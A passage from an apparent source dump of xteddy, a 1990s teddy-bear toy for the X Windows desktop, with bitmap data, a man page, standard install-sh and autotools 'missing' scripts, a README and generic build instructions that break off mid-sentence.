0x80,0x10,0x03,0x00,0x00,0x80,0xff,0x02,0xfc,0x08,0x54,0x06,0x00,0x00,0x80, 38 | 0xff,0x08,0xfc,0x00,0x08,0x0d,0x00,0x00,0x80,0xff,0x20,0xfd,0x92,0x13,0x38, 39 | 0x00,0x00,0xa0,0x7f,0x02,0xfc,0x40,0x44,0x7a,0x00,0x00,0x88,0x7f,0x02,0xfc, 40 | 0x20,0x00,0xf0,0x00,0x00,0x40,0x1f,0x91,0xfc,0x88,0x24,0xe9,0x01,0x00,0x10, 41 | 0x25,0x04,0xfc,0x41,0x00,0xe0,0x03,0x00,0x90,0x88,0x40,0xfc,0x24,0x52,0xc9, 42 | 0x07,0x00,0x28,0x12,0x0a,0xfc,0xa0,0x00,0xc0,0x03,0x00,0x08,0x41,0x00,0xfd, 43 | 0x20,0x8a,0xa4,0x03,0x00,0x54,0x08,0x52,0xfc,0x42,0x20,0x00,0x00,0x00,0x0e, 44 | 0x82,0x00,0xfc,0x20,0x02,0x52,0x01,0x80,0x9f,0x20,0x48,0xfc,0x88,0x90,0x00, 45 | 0x02,0xe0,0x0f,0x08,0x22,0xfc,0x20,0x04,0x8a,0x0e,0xfc,0x57,0x42,0x09,0xfd, 46 | 0x24,0x51,0x20,0xfe,0xff,0x1f,0x10,0x04,0xfc,0xb0,0x04,0x04,0xff,0xff,0x2f, 47 | 0x45,0x41,0xfc,0x40,0x55,0x51,0xfd,0xff,0x4f,0x50,0x10,0xfc,0x02,0x74,0x85, 48 | 0x3f,0x80,0x3f,0x35,0x80,0xfc,0x08,0xc0,0x75,0x07,0x00,0xa8,0x9a,0x04,0xfc, 49 | 0x40,0x02,0xee,0x81,0x24,0xd8,0x06,0x20,0xfc,0x00,0x00,0xf8,0x20,0x80,0xf0, 50 | 0x03,0x02,0xfd,0x12,0x11,0x00,0x08,0x02,0x00,0x40,0x08,0xfc,0x00,0x40,0x02, 51 | 0x02,0x10,0x04,0x08,0x40,0xfc,0x44,0x04,0x48,0x20,0x81,0x10,0x01,0x01,0xfc 52 | }; 53 | -------------------------------------------------------------------------------- /xteddy.1: -------------------------------------------------------------------------------- 1 | .TH XTEDDY 1 "7 August 1997" "X Version 11" 2 | .SH NAME 3 | xteddy - cuddly teddy bear for your X Windows desktop. 4 | .SH SYNOPSIS 5 | .B xteddy 6 | [ 7 | .B \-wm \-float \-noquit \-mono \-Fname 8 | ] 9 | .br 10 | [ 11 | .B \-geometry \WIDTHxHEIGHT+X+Y \-display SERVER 12 | ] 13 | .SH DESCRIPTION 14 | .I Xteddy 15 | is a cuddly teddy bear for your X Windows desktop. 16 | .PP 17 | Normally, 18 | .I xteddy 19 | just sits around doing nothing. After all, that's what 20 | teddy bears are for. Look at him, talk to him, place heavy windows on 21 | top of him, zap him around until he becomes dizzy, do what you like; 22 | he will always be your true (albeit virtual) friend. 23 | .PP 24 | You can move 25 | .I xteddy 26 | with the mouse by pointing at him and dragging 27 | him around. When clicked upon, he will pop up on top of all other 28 | windows. If you type "q" on him, he will die (or, as I like to think 29 | of it, be tucked away in the file system until you need him next time). 30 | .PP 31 | That's it. But he's cute. 32 | .SH OPTIONS 33 | .TP 34 | .B \-wm 35 | Use the window manager. Normally, 36 | .I xteddy 37 | sets the override_redirect flag for his window, which will cause most 38 | window managers to ignore him. However, some window managers might have 39 | problems coping with a window that is nailed directly to the root. 40 | In that case, use this option. If possible, instruct your window manager 41 | not to put any title bar or window frame on the window, or 42 | .I xteddy 43 | will lose some of his charm. 44 | .TP 45 | .B \-float 46 | Float up on top of overlapping windows. This will make 47 | .I xteddy 48 | stay in sight at all times, so you won't lose him. However, this 49 | is a bit intrusive and quite unlike a real teddy bear, so it is not 50 | the default action. 51 | .TP 52 | .B \-noquit 53 | Disable the "quit" command (do not quit when typing "q" in the window, 54 | but of course still on explicit window kills or process kills). 55 | This might seem an unnecessary option, but if you use the -wm option 56 | .I Xteddy 57 | might keep receiving keyboard events even after the mouse has left his 58 | window. I you use the -wm option in conjunction with a click-to-type 59 | window manager, you would probably want to include this option. 60 | .TP 61 | .B \-mono 62 | Force 63 | .I xteddy 64 | to show up in black-and-white, even if a grayscale or color visual is 65 | available. The color (or grayscale) pixmap contains 32 colors, and 66 | you might want to save the colormap entries for other purposes. 67 | .TP 68 | .B \-Fname 69 | Display another pixmap instead of 70 | .I xteddy. 71 | In fact for displaying 72 | .I xteddy 73 | four files are required: 74 | .RS 75 | .PP 76 | \fBname\fP_bw.xbm -> gray if libXpm isn't available 77 | .PP 78 | \fBname\fP_color.xpm -> the nice Teddy if \fBname\fP==xteddy 79 | .PP 80 | \fBname\fP_icon.xbm -> an icon 81 | .PP 82 | \fBname\fP_mask.xbm -> the mask shape 83 | .PP 84 | If no `-F` parameter is given \fBname\fP equals to \fIxteddy\fP 85 | or more precisely 86 | to the name of the calling program. For instance if there is a symlink 87 | .RS 88 | .PP 89 | \fBln -s xteddy xpenguin\fP 90 | .RE 91 | .PP 92 | then \fBname\fP equals to \fIxpenguin\fP and the 93 | apropriate pixmaps with the name \fIxpenguin\fP are searched for. 94 | .PP 95 | \fIXteddy\fP searches for this pixmaps at first in \fB.\fP and then in 96 | \fB/usr/X11R6/include/X11/pixmap\fP (this can be changed at compile time 97 | via redefining PIXMAP_PATH). 98 | .RE 99 | .TP 100 | .B \-geometry 101 | The standard X geometry specification. Only X and Y position requests 102 | are honoured. Any height and width specifications will be ignored. 103 | .TP 104 | .B \-display 105 | Specify an X server other than the local display. 106 | .br 107 | .ne 8 108 | .SH AUTHOR 109 | Stefan Gustavson, ISY-LiTH (stefang@isy.liu.se). 110 | .I Xteddy 111 | is distributed under the GNU General Public Licence. 112 | .SH BUGS 113 | The Desktop Manager in Sun CDE (Common Desktop Environment) does not 114 | like xteddy. Xteddy by default does not use the window manager, and so 115 | he shows up as a sticky window on all desktops. If you don't like this, 116 | and try to circumvent it by running him with the -wm option, move him 117 | by grabbing him by the tummy instead of by the title bar, and then move 118 | him partly off the screen, the image is lost and never redrawn again, 119 | so all you see is a silhouette of a teddy bear. 120 | I have no idea why this happens. If you know, please tell me, and if you 121 | can fix it, please do. If you run CDE on other platforms than Sun, please 122 | tell me if it works for you. CDE does something which xteddy does not 123 | handle properly, and since I have a Sun with CDE myself I would like to 124 | know what the problem is. 125 | .PP 126 | For most X servers, the -float option does not work properly if xteddy 127 | is moved partially off the screen. This is the X server's fault, not mine. 128 | .PP 129 | If two copies of 130 | .I xteddy 131 | are placed so they overlap, and both were run with the 132 | .I -float 133 | option, the X server will try to put each on top of the other in an 134 | endless loop, which looks very bad and takes a lot of CPU power. 135 | .PP 136 | .I Xteddy 137 | does not make use of the X resource database. I just didn't get around 138 | to that. 139 | .PP 140 | Please send bug reports, fixes, suggestions, fan mail or or hacks to: 141 | stefang@isy.liu.se. 142 | -------------------------------------------------------------------------------- /install-sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # install - install a program, script, or datafile 4 | # This comes from X11R5 (mit/util/scripts/install.sh). 5 | # 6 | # Copyright 1991 by the Massachusetts Institute of Technology 7 | # 8 | # Permission to use, copy, modify, distribute, and sell this software and its 9 | # documentation for any purpose is hereby granted without fee, provided that 10 | # the above copyright notice appear in all copies and that both that 11 | # copyright notice and this permission notice appear in supporting 12 | # documentation, and that the name of M.I.T. not be used in advertising or 13 | # publicity pertaining to distribution of the software without specific, 14 | # written prior permission. M.I.T. makes no representations about the 15 | # suitability of this software for any purpose. It is provided "as is" 16 | # without express or implied warranty. 17 | # 18 | # Calling this script install-sh is preferred over install.sh, to prevent 19 | # `make' implicit rules from creating a file called install from it 20 | # when there is no Makefile. 21 | # 22 | # This script is compatible with the BSD install script, but was written 23 | # from scratch. It can only install one file at a time, a restriction 24 | # shared with many OS's install programs. 25 | 26 | 27 | # set DOITPROG to echo to test this script 28 | 29 | # Don't use :- since 4.3BSD and earlier shells don't like it. 30 | doit="${DOITPROG-}" 31 | 32 | 33 | # put in absolute paths if you don't have them in your path; or use env. vars. 34 | 35 | mvprog="${MVPROG-mv}" 36 | cpprog="${CPPROG-cp}" 37 | chmodprog="${CHMODPROG-chmod}" 38 | chownprog="${CHOWNPROG-chown}" 39 | chgrpprog="${CHGRPPROG-chgrp}" 40 | stripprog="${STRIPPROG-strip}" 41 | rmprog="${RMPROG-rm}" 42 | mkdirprog="${MKDIRPROG-mkdir}" 43 | 44 | transformbasename="" 45 | transform_arg="" 46 | instcmd="$mvprog" 47 | chmodcmd="$chmodprog 0755" 48 | chowncmd="" 49 | chgrpcmd="" 50 | stripcmd="" 51 | rmcmd="$rmprog -f" 52 | mvcmd="$mvprog" 53 | src="" 54 | dst="" 55 | dir_arg="" 56 | 57 | while [ x"$1" != x ]; do 58 | case $1 in 59 | -c) instcmd="$cpprog" 60 | shift 61 | continue;; 62 | 63 | -d) dir_arg=true 64 | shift 65 | continue;; 66 | 67 | -m) chmodcmd="$chmodprog $2" 68 | shift 69 | shift 70 | continue;; 71 | 72 | -o) chowncmd="$chownprog $2" 73 | shift 74 | shift 75 | continue;; 76 | 77 | -g) chgrpcmd="$chgrpprog $2" 78 | shift 79 | shift 80 | continue;; 81 | 82 | -s) stripcmd="$stripprog" 83 | shift 84 | continue;; 85 | 86 | -t=*) transformarg=`echo $1 | sed 's/-t=//'` 87 | shift 88 | continue;; 89 | 90 | -b=*) transformbasename=`echo $1 | sed 's/-b=//'` 91 | shift 92 | continue;; 93 | 94 | *) if [ x"$src" = x ] 95 | then 96 | src=$1 97 | else 98 | # this colon is to work around a 386BSD /bin/sh bug 99 | : 100 | dst=$1 101 | fi 102 | shift 103 | continue;; 104 | esac 105 | done 106 | 107 | if [ x"$src" = x ] 108 | then 109 | echo "install: no input file specified" 110 | exit 1 111 | else 112 | true 113 | fi 114 | 115 | if [ x"$dir_arg" != x ]; then 116 | dst=$src 117 | src="" 118 | 119 | if [ -d $dst ]; then 120 | instcmd=: 121 | else 122 | instcmd=mkdir 123 | fi 124 | else 125 | 126 | # Waiting for this to be detected by the "$instcmd $src $dsttmp" command 127 | # might cause directories to be created, which would be especially bad 128 | # if $src (and thus $dsttmp) contains '*'. 129 | 130 | if [ -f $src -o -d $src ] 131 | then 132 | true 133 | else 134 | echo "install: $src does not exist" 135 | exit 1 136 | fi 137 | 138 | if [ x"$dst" = x ] 139 | then 140 | echo "install: no destination specified" 141 | exit 1 142 | else 143 | true 144 | fi 145 | 146 | # If destination is a directory, append the input filename; if your system 147 | # does not like double slashes in filenames, you may need to add some logic 148 | 149 | if [ -d $dst ] 150 | then 151 | dst="$dst"/`basename $src` 152 | else 153 | true 154 | fi 155 | fi 156 | 157 | ## this sed command emulates the dirname command 158 | dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` 159 | 160 | # Make sure that the destination directory exists. 161 | # this part is taken from Noah Friedman's mkinstalldirs script 162 | 163 | # Skip lots of stat calls in the usual case. 164 | if [ ! -d "$dstdir" ]; then 165 | defaultIFS=' 166 | ' 167 | IFS="${IFS-${defaultIFS}}" 168 | 169 | oIFS="${IFS}" 170 | # Some sh's can't handle IFS=/ for some reason. 171 | IFS='%' 172 | set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` 173 | IFS="${oIFS}" 174 | 175 | pathcomp='' 176 | 177 | while [ $# -ne 0 ] ; do 178 | pathcomp="${pathcomp}${1}" 179 | shift 180 | 181 | if [ ! -d "${pathcomp}" ] ; 182 | then 183 | $mkdirprog "${pathcomp}" 184 | else 185 | true 186 | fi 187 | 188 | pathcomp="${pathcomp}/" 189 | done 190 | fi 191 | 192 | if [ x"$dir_arg" != x ] 193 | then 194 | $doit $instcmd $dst && 195 | 196 | if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && 197 | if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && 198 | if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && 199 | if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi 200 | else 201 | 202 | # If we're going to rename the final executable, determine the name now. 203 | 204 | if [ x"$transformarg" = x ] 205 | then 206 | dstfile=`basename $dst` 207 | else 208 | dstfile=`basename $dst $transformbasename | 209 | sed $transformarg`$transformbasename 210 | fi 211 | 212 | # don't allow the sed command to completely eliminate the filename 213 | 214 | if [ x"$dstfile" = x ] 215 | then 216 | dstfile=`basename $dst` 217 | else 218 | true 219 | fi 220 | 221 | # Make a temp file name in the proper directory. 222 | 223 | dsttmp=$dstdir/#inst.$$# 224 | 225 | # Move or copy the file name to the temp name 226 | 227 | $doit $instcmd $src $dsttmp && 228 | 229 | trap "rm -f ${dsttmp}" 0 && 230 | 231 | # and set any options; do chmod last to preserve setuid bits 232 | 233 | # If any of these fail, we abort the whole thing. If we want to 234 | # ignore errors from any of these, just make sure not to ignore 235 | # errors from the above "$doit $instcmd $src $dsttmp" command. 236 | 237 | if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && 238 | if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && 239 | if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && 240 | if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && 241 | 242 | # Now rename the file to the real destination. 243 | 244 | $doit $rmcmd -f $dstdir/$dstfile && 245 | $doit $mvcmd $dsttmp $dstdir/$dstfile 246 | 247 | fi && 248 | 249 | 250 | exit 0 251 | -------------------------------------------------------------------------------- /missing: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # Common stub for a few missing GNU programs while installing. 3 | # Copyright (C) 1996, 1997 Free Software Foundation, Inc. 4 | # Franc,ois Pinard , 1996. 5 | 6 | # This program is free software; you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation; either version 2, or (at your option) 9 | # any later version. 10 | 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 19 | # 02111-1307, USA. 20 | 21 | if test $# -eq 0; then 22 | echo 1>&2 "Try \`$0 --help' for more information" 23 | exit 1 24 | fi 25 | 26 | case "$1" in 27 | 28 | -h|--h|--he|--hel|--help) 29 | echo "\ 30 | $0 [OPTION]... PROGRAM [ARGUMENT]... 31 | 32 | Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an 33 | error status if there is no known handling for PROGRAM. 34 | 35 | Options: 36 | -h, --help display this help and exit 37 | -v, --version output version information and exit 38 | 39 | Supported PROGRAM values: 40 | aclocal touch file \`aclocal.m4' 41 | autoconf touch file \`configure' 42 | autoheader touch file \`config.h.in' 43 | automake touch all \`Makefile.in' files 44 | bison create \`y.tab.[ch]', if possible, from existing .[ch] 45 | flex create \`lex.yy.c', if possible, from existing .c 46 | lex create \`lex.yy.c', if possible, from existing .c 47 | makeinfo touch the output file 48 | yacc create \`y.tab.[ch]', if possible, from existing .[ch]" 49 | ;; 50 | 51 | -v|--v|--ve|--ver|--vers|--versi|--versio|--version) 52 | echo "missing - GNU libit 0.0" 53 | ;; 54 | 55 | -*) 56 | echo 1>&2 "$0: Unknown \`$1' option" 57 | echo 1>&2 "Try \`$0 --help' for more information" 58 | exit 1 59 | ;; 60 | 61 | aclocal) 62 | echo 1>&2 "\ 63 | WARNING: \`$1' is missing on your system. You should only need it if 64 | you modified \`acinclude.m4' or \`configure.in'. You might want 65 | to install the \`Automake' and \`Perl' packages. Grab them from 66 | any GNU archive site." 67 | touch aclocal.m4 68 | ;; 69 | 70 | autoconf) 71 | echo 1>&2 "\ 72 | WARNING: \`$1' is missing on your system. You should only need it if 73 | you modified \`configure.in'. You might want to install the 74 | \`Autoconf' and \`GNU m4' packages. Grab them from any GNU 75 | archive site." 76 | touch configure 77 | ;; 78 | 79 | autoheader) 80 | echo 1>&2 "\ 81 | WARNING: \`$1' is missing on your system. You should only need it if 82 | you modified \`acconfig.h' or \`configure.in'. You might want 83 | to install the \`Autoconf' and \`GNU m4' packages. Grab them 84 | from any GNU archive site." 85 | files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER([^):]*:\([^)]*\)).*/\1/p' configure.in` 86 | if test -z "$files"; then 87 | files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^):]*\)).*/\1/p' configure.in` 88 | test -z "$files" || files="$files.in" 89 | else 90 | files=`echo "$files" | sed -e 's/:/ /g'` 91 | fi 92 | test -z "$files" && files="config.h.in" 93 | touch $files 94 | ;; 95 | 96 | automake) 97 | echo 1>&2 "\ 98 | WARNING: \`$1' is missing on your system. You should only need it if 99 | you modified \`Makefile.am', \`acinclude.m4' or \`configure.in'. 100 | You might want to install the \`Automake' and \`Perl' packages. 101 | Grab them from any GNU archive site." 102 | find . -type f -name Makefile.am -print \ 103 | | sed 's/^\(.*\).am$/touch \1.in/' \ 104 | | sh 105 | ;; 106 | 107 | bison|yacc) 108 | echo 1>&2 "\ 109 | WARNING: \`$1' is missing on your system. You should only need it if 110 | you modified a \`.y' file. You may need the \`Bison' package 111 | in order for those modifications to take effect. You can get 112 | \`Bison' from any GNU archive site." 113 | rm -f y.tab.c y.tab.h 114 | if [ $# -ne 1 ]; then 115 | eval LASTARG="\${$#}" 116 | case "$LASTARG" in 117 | *.y) 118 | SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` 119 | if [ -f "$SRCFILE" ]; then 120 | cp "$SRCFILE" y.tab.c 121 | fi 122 | SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` 123 | if [ -f "$SRCFILE" ]; then 124 | cp "$SRCFILE" y.tab.h 125 | fi 126 | ;; 127 | esac 128 | fi 129 | if [ ! -f y.tab.h ]; then 130 | echo >y.tab.h 131 | fi 132 | if [ ! -f y.tab.c ]; then 133 | echo 'main() { return 0; }' >y.tab.c 134 | fi 135 | ;; 136 | 137 | lex|flex) 138 | echo 1>&2 "\ 139 | WARNING: \`$1' is missing on your system. You should only need it if 140 | you modified a \`.l' file. You may need the \`Flex' package 141 | in order for those modifications to take effect. You can get 142 | \`Flex' from any GNU archive site." 143 | rm -f lex.yy.c 144 | if [ $# -ne 1 ]; then 145 | eval LASTARG="\${$#}" 146 | case "$LASTARG" in 147 | *.l) 148 | SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` 149 | if [ -f "$SRCFILE" ]; then 150 | cp "$SRCFILE" lex.yy.c 151 | fi 152 | ;; 153 | esac 154 | fi 155 | if [ ! -f lex.yy.c ]; then 156 | echo 'main() { return 0; }' >lex.yy.c 157 | fi 158 | ;; 159 | 160 | makeinfo) 161 | echo 1>&2 "\ 162 | WARNING: \`$1' is missing on your system. You should only need it if 163 | you modified a \`.texi' or \`.texinfo' file, or any other file 164 | indirectly affecting the aspect of the manual. The spurious 165 | call might also be the consequence of using a buggy \`make' (AIX, 166 | DU, IRIX). You might want to install the \`Texinfo' package or 167 | the \`GNU make' package. Grab either from any GNU archive site." 168 | file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` 169 | if test -z "$file"; then 170 | file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` 171 | file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file` 172 | fi 173 | touch $file 174 | ;; 175 | 176 | *) 177 | echo 1>&2 "\ 178 | WARNING: \`$1' is needed, and you do not seem to have it handy on your 179 | system. You might have modified some files without having the 180 | proper tools for further handling them. Check the \`README' file, 181 | it often tells you about the needed prerequirements for installing 182 | this package. You may also peek at any GNU archive site, in case 183 | some other package would contain this missing \`$1' program." 184 | exit 1 185 | ;; 186 | esac 187 | 188 | exit 0 189 | -------------------------------------------------------------------------------- /xteddy.README: -------------------------------------------------------------------------------- 1 | ------------------------------------------------------------------------ 2 | xteddy version 1.0.3, by Stefan Gustavson, ISY-LiTH (stefang@isy.liu.se) 3 | ------------------------------------------------------------------------ 4 | 5 | DESCRIPTION 6 | 7 | xteddy is a cuddly teddy bear for your X Windows desktop. 8 | 9 | Normally, xteddy just sits around doing nothing. After all, that's what 10 | teddy bears are for. Look at him, talk to him, place heavy windows on 11 | top of him, zap him around until he becomes dizzy, do what you like; 12 | he will always be your true (albeit virtual) friend. 13 | 14 | You can move xteddy with the mouse by pointing at him and dragging 15 | him around. When clicked upon, he will pop up on top of all other 16 | windows. If you type "q" on him, he will die (or, as I like to think 17 | of it, be tucked away in the file system until you need him next time). 18 | 19 | That's it. But he's cute. 20 | 21 | 22 | OPTIONS 23 | 24 | By default, xteddy will set the override_redirect attribute for his 25 | window, which means that he will be ignored by most window managers 26 | and live directly on the root window all by himself. 27 | You cannot iconify or resize him. This is intentional. If you really 28 | want to be able to iconify xteddy, there is code to communicate with 29 | a window manager, and I have even specified an icon bitmap for him. 30 | All it takes is that you supply the command-line option -wm. 31 | Beware that this will probably cram title bars and other ugly things 32 | onto xteddy if you do not tell you window manager otherwise. 33 | To find out how to do that, refer to the manual of your specific 34 | window manager. 35 | If you want your teddy close at all times, there is also an option -float 36 | to make xteddy float up on top of all overlapping windows on the screen. 37 | This is a bit intrusive and unlike a real teddy bear, so it is not the 38 | default action. The original to xteddy sits on my real-world desktop, 39 | and he sometimes gets obscured with paper and stuff, too. 40 | If you place two copies of "xteddy -float" so that they overlap, you are 41 | asking for trouble. 42 | The option -mono forces xteddy to show up in black-and-white, without 43 | allocationg any colormap entries. 44 | Xteddy accepts a standard X -geometry option, but will only honour the 45 | position request. Teddy bears are not scalable. 46 | 47 | 48 | COMPILATION 49 | 50 | You will need the shape extension to X and the Xpm library to compile. 51 | The shape extension to X is bundled with all official distributions of X. 52 | The Xpm library is included in most distributions, and it is installed 53 | on most systems. If not, it can be obtained by anonymous FTP to avahi.inria.fr 54 | or to export.lcs.mit.edu. 55 | 56 | Xteddy is known to compile fine on almost every imagineable X Windows 57 | system, including X11R4, X11R5, X11R6 and OpenWindows (all versions), 58 | and almost any Unix system, at least on Solaris, SunOS, Linux, Ultrix, 59 | HP/UX, AIX, A/UX and IRIX. 60 | 61 | To compile, just execute "./configure --prefix=" 62 | where can be /usr/local or any other directory where 63 | you want xteddy to be installed. Configure checks whether 64 | Xpm is installed and defines -DHAVE_LIBXPM if successful. (Please 65 | check if this mechanism works right, because it is tested only 66 | in some cases. If configure can not detect your Xpm library please 67 | edit the resulting Makefile manually, that means add 68 | -L to X_LIBS and -I to X_CFLAGS.) 69 | Than you can type "make xteddy". 70 | 71 | 72 | 73 | YOUR OWN TEDDY 74 | 75 | Now there is a command line option for making your own favourite teddy 76 | bear for the program. You need four files xteddy_bw.xbm and 77 | xteddy_mask.xbm are standard X bitmap files that contain the 78 | monochrome image and the shape mask. The color and grayscale images 79 | are in one file, xteddy_color.xpm, in the X Pixmap format defined for 80 | the Xpm library. The same shape mask is used for monochrome, grayscale 81 | and color. At last you need an icon which is named xteddy_icon.xbm. 82 | See to it that you get the names right for the variables at 83 | the top of the file. The image size doesn't really matter, as long as 84 | it is the same for all three files. If you make your own teddy, 85 | please send me a copy. I'll take good care of him. 86 | 87 | If you create four files according to this scheme with for instance 88 | the Linux penguin and name the files xpenguin_... then you can call 89 | 90 | xteddy -Fxpenguin 91 | 92 | and instead of the lovely xteddy you will see penguin at your desktop. 93 | Alternatively you can make a symlink 94 | 95 | ln -s xteddy xpenguin 96 | 97 | and the xpenguin pixmaps are searched too. 98 | 99 | 100 | BUGS 101 | 102 | Some window managers may experience problems if you don't specify -wm. 103 | 104 | If you want to use Xteddy with a virtual window manager without having 105 | him as a "sticky" window on all desktops, use the option -wm and 106 | instruct your window manager not to decorate the window with title bar 107 | and stuff. You might want to add the option -noquit as well to prevent 108 | accidentally killing xteddy in case he happens to get keyboard focus. 109 | 110 | The Desktop Manager in Sun CDE (Common Desktop Environment) does not 111 | like xteddy at all. If you run him without any parameters, he shows up 112 | on all your alternate desktops, which might not be all that bad, but if 113 | you try to circumvent that by running him with the -wm option, and move 114 | him by grabbing him by the tummy instead of by the title bar, and then 115 | move him partly off the screen, the image is lost and never redrawn again, 116 | so all you see is a silhouette of a teddy bear. 117 | I have no idea why this happens. If you know, please tell me, and if you 118 | can fix it, please do. If you run CDE on other platforms than Sun, please 119 | tell me if it works for you. CDE does something which xteddy does not 120 | handle properly, and since I have a Sun with CDE myself I would like to 121 | know what the problem is. 122 | 123 | On most X servers, the -float option does not work properly if xteddy 124 | is moved partially off the screen. This is not my fault. It's your 125 | X server that doesn't know the difference between occlusion and clipping 126 | and fails to send occlusion notifications to clipped windows. 127 | 128 | 129 | AUTHOR 130 | 131 | Written by Stefan Gustavson, ISY-LiTH, 1994-1997. 132 | Email address: stefang@isy.liu.se 133 | 134 | Xteddy is a program I made entirely for fun. If you make any useful 135 | changes, additions, improvements, or bug fixes, please send me a message. 136 | If you like xteddy, remember to smile. 137 | 138 | This software is distributed under the GNU General Public License (GPL). 139 | 140 | The Xpm library is Copyright 1990-93 GROUPE BULL. 141 | The X Window System is Copyright the Massachusetts Institute 142 | of Technology. "X Window System" is a trademark of MIT. 143 | The teddy bear images are photos of a Tender Teddy from Gund. 144 | 145 | 146 | DISCLAIMER 147 | 148 | I make no promises that this software will work for any purpose 149 | whatsoever. If you hurt yourself or your system, don't blame me. 150 | Blame xteddy if you like. He doesn't mind. 151 | 152 | 153 | ---- This file wast last modified on Aug 7, 1997 ---- 154 | -------------------------------------------------------------------------------- /INSTALL: -------------------------------------------------------------------------------- 1 | Basic Installation 2 | ================== 3 | 4 | These are generic installation instructions. 5 | 6 | The `configure' shell script attempts to guess correct values for 7 | various system-dependent variables used during compilation. It uses 8 | those values to create a `Makefile' in each directory of the package. 9 | It may also create one or more `.h' files containing system-dependent 10 | definitions. Finally, it creates a shell script `config.status' that 11 | you can run in the future to recreate the current configuration, a file 12 | `config.cache' that saves the results of its tests to speed up 13 | reconfiguring, and a file `config.log' containing compiler output 14 | (useful mainly for debugging `configure'). 15 | 16 | If you need to do unusual things to compile the package, please try 17 | to figure out how `configure' could check whether to do them, and mail 18 | diffs or instructions to the address given in the `README' so they can 19 | be considered for the next release. If at some point `config.cache' 20 | contains results you don't want to keep, you may remove or edit it. 21 | 22 | The file `configure.in' is used to create `configure' by a program 23 | called `autoconf'. You only need `configure.in' if you want to change 24 | it or regenerate `configure' using a newer version of `autoconf'. 25 | 26 | The simplest way to compile this package is: 27 | 28 | 1. `cd' to the directory containing the package's source code and type 29 | `./configure' to configure the package for your system. If you're 30 | using `csh' on an old version of System V, you might need to type 31 | `sh ./configure' instead to prevent `csh' from trying to execute 32 | `configure' itself. 33 | 34 | Running `configure' takes awhile. While running, it prints some 35 | messages telling which features it is checking for. 36 | 37 | 2. Type `make' to compile the package. 38 | 39 | 3. Optionally, type `make check' to run any self-tests that come with 40 | the package. 41 | 42 | 4. Type `make install' to install the programs and any data files and 43 | documentation. 44 | 45 | 5. You can remove the program binaries and object files from the 46 | source code directory by typing `make clean'. To also remove the 47 | files that `configure' created (so you can compile the package for 48 | a different kind of computer), type `make distclean'. There is 49 | also a `make maintainer-clean' target, but that is intended mainly 50 | for the package's developers. If you use it, you may have to get 51 | all sorts of other programs in order to regenerate files that came 52 | with the distribution. 53 | 54 | Compilers and Options 55 | ===================== 56 | 57 | Some systems require unusual options for compilation or linking that 58 | the `configure' script does not know about. You can give `configure' 59 | initial values for variables by setting them in the environment. Using 60 | a Bourne-compatible shell, you can do that on the command line like 61 | this: 62 | CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure 63 | 64 | Or on systems that have the `env' program, you can do it like this: 65 | env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure 66 | 67 | Compiling For Multiple Architectures 68 | ==================================== 69 | 70 | You can compile the package for more than one kind of computer at the 71 | same time, by placing the object files for each architecture in their 72 | own directory. To do this, you must use a version of `make' that 73 | supports the `VPATH' variable, such as GNU `make'. `cd' to the 74 | directory where you want the object files and executables to go and run 75 | the `configure' script. `configure' automatically checks for the 76 | source code in the directory that `configure' is in and in `..'. 77 | 78 | If you have to use a `make' that does not supports the `VPATH' 79 | variable, you have to compile the package for one architecture at a time 80 | in the source code directory. After you have installed the package for 81 | one architecture, use `make distclean' before reconfiguring for another 82 | architecture. 83 | 84 | Installation Names 85 | ================== 86 | 87 | By default, `make install' will install the package's files in 88 | `/usr/local/bin', `/usr/local/man', etc. You can specify an 89 | installation prefix other than `/usr/local' by giving `configure' the 90 | option `--prefix=PATH'. 91 | 92 | You can specify separate installation prefixes for 93 | architecture-specific files and architecture-independent files. If you 94 | give `configure' the option `--exec-prefix=PATH', the package will use 95 | PATH as the prefix for installing programs and libraries. 96 | Documentation and other data files will still use the regular prefix. 97 | 98 | In addition, if you use an unusual directory layout you can give 99 | options like `--bindir=PATH' to specify different values for particular 100 | kinds of files. Run `configure --help' for a list of the directories 101 | you can set and what kinds of files go in them. 102 | 103 | If the package supports it, you can cause programs to be installed 104 | with an extra prefix or suffix on their names by giving `configure' the 105 | option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'. 106 | 107 | Optional Features 108 | ================= 109 | 110 | Some packages pay attention to `--enable-FEATURE' options to 111 | `configure', where FEATURE indicates an optional part of the package. 112 | They may also pay attention to `--with-PACKAGE' options, where PACKAGE 113 | is something like `gnu-as' or `x' (for the X Window System). The 114 | `README' should mention any `--enable-' and `--with-' options that the 115 | package recognizes. 116 | 117 | For packages that use the X Window System, `configure' can usually 118 | find the X include and library files automatically, but if it doesn't, 119 